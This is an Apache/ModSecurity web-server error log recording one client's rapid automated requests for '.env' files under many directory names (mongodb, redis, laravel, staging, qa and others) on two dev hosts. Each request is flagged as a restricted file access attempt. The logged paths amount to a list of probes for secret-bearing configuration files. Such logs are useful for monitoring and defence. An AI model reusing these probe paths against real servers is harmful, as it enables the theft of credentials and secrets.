[Fri Jul 17 09:14:35.916638 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/mongodb/.env"] [unique_id "almlIw5GPQ6hs4VrfMpE_gAAAAY"]
[Fri Jul 17 09:14:35.916872 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlIw5GPQ6hs4VrfMpE_gAAAAY"]
[Fri Jul 17 09:14:36.049172 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/dev/.env"] [unique_id "almlJIe39YUk0SgV8AU9SAAAABE"]
[Fri Jul 17 09:14:36.050337 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/dev/.env"] [unique_id "almlJIe39YUk0SgV8AU9SAAAABE"]
[Fri Jul 17 09:14:36.083755 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /redis/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/redis/.env"] [unique_id "almlJLEWOaI5pmYo9fnR4QAAAAA"]
[Fri Jul 17 09:14:36.084069 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/redis/.env"] [unique_id "almlJLEWOaI5pmYo9fnR4QAAAAA"]
[Fri Jul 17 09:14:36.084350 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJLEWOaI5pmYo9fnR4QAAAAA"]
[Fri Jul 17 09:14:36.203277 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:36.248022 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlJIe39YUk0SgV8AU9SAAAABE"]
[Fri Jul 17 09:14:36.251825 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /elasticsearch/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/elasticsearch/.env"] [unique_id "almlJFh1WDijTxd1xw5PfgAAAAc"]
[Fri Jul 17 09:14:36.252101 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/elasticsearch/.env"] [unique_id "almlJFh1WDijTxd1xw5PfgAAAAc"]
[Fri Jul 17 09:14:36.252342 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJFh1WDijTxd1xw5PfgAAAAc"]
[Fri Jul 17 09:14:36.417270 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/staging/.env"] [unique_id "almlJFCBpfuYyhJ140vV2AAAAB4"]
[Fri Jul 17 09:14:36.418560 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/staging/.env"] [unique_id "almlJFCBpfuYyhJ140vV2AAAAB4"]
[Fri Jul 17 09:14:36.419009 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /rabbitmq/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/rabbitmq/.env"] [unique_id "almlJIl9vhFBGA6D8l99MwAAAAw"]
[Fri Jul 17 09:14:36.419273 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/rabbitmq/.env"] [unique_id "almlJIl9vhFBGA6D8l99MwAAAAw"]
[Fri Jul 17 09:14:36.419492 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJIl9vhFBGA6D8l99MwAAAAw"]
[Fri Jul 17 09:14:36.596172 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /kafka/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/kafka/.env"] [unique_id "almlJA5GPQ6hs4VrfMpE_wAAAAY"]
[Fri Jul 17 09:14:36.596461 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/kafka/.env"] [unique_id "almlJA5GPQ6hs4VrfMpE_wAAAAY"]
[Fri Jul 17 09:14:36.596771 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJA5GPQ6hs4VrfMpE_wAAAAY"]
[Fri Jul 17 09:14:36.647545 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlJFCBpfuYyhJ140vV2AAAAB4"]
[Fri Jul 17 09:14:36.763790 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /queue/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/queue/.env"] [unique_id "almlJK14q1EBnanVMYGnEAAAAAk"]
[Fri Jul 17 09:14:36.764074 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/queue/.env"] [unique_id "almlJK14q1EBnanVMYGnEAAAAAk"]
[Fri Jul 17 09:14:36.764318 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJK14q1EBnanVMYGnEAAAAAk"]
[Fri Jul 17 09:14:36.815901 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /opt/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/opt/.env"] [unique_id "almlJFh1WDijTxd1xw5PfwAAAAc"]
[Fri Jul 17 09:14:36.817226 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/opt/.env"] [unique_id "almlJFh1WDijTxd1xw5PfwAAAAc"]
[Fri Jul 17 09:14:36.935501 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /worker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/worker/.env"] [unique_id "almlJBHlOGcokz2QIwTWbgAAAAM"]
[Fri Jul 17 09:14:36.935793 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/worker/.env"] [unique_id "almlJBHlOGcokz2QIwTWbgAAAAM"]
[Fri Jul 17 09:14:36.936027 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJBHlOGcokz2QIwTWbgAAAAM"]
[Fri Jul 17 09:14:36.984521 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlJFh1WDijTxd1xw5PfwAAAAc"]
[Fri Jul 17 09:14:37.102454 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /job/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/job/.env"] [unique_id "almlJQRRrtuZqNDDSqWzRgAAABo"]
[Fri Jul 17 09:14:37.102724 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/job/.env"] [unique_id "almlJQRRrtuZqNDDSqWzRgAAABo"]
[Fri Jul 17 09:14:37.103002 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJQRRrtuZqNDDSqWzRgAAABo"]
[Fri Jul 17 09:14:37.152468 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/laravel/.env"] [unique_id "almlJVCBpfuYyhJ140vV2QAAAB4"]
[Fri Jul 17 09:14:37.153681 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/laravel/.env"] [unique_id "almlJVCBpfuYyhJ140vV2QAAAB4"]
[Fri Jul 17 09:14:37.269853 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/test/.env"] [unique_id "almlJY1dLClkUfK_dfHn7AAAAAI"]
[Fri Jul 17 09:14:37.270141 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/test/.env"] [unique_id "almlJY1dLClkUfK_dfHn7AAAAAI"]
[Fri Jul 17 09:14:37.270407 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJY1dLClkUfK_dfHn7AAAAAI"]
[Fri Jul 17 09:14:37.369401 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlJVCBpfuYyhJ140vV2QAAAB4"]
[Fri Jul 17 09:14:37.437883 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /qa/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/qa/.env"] [unique_id "almlJa14q1EBnanVMYGnEQAAAAk"]
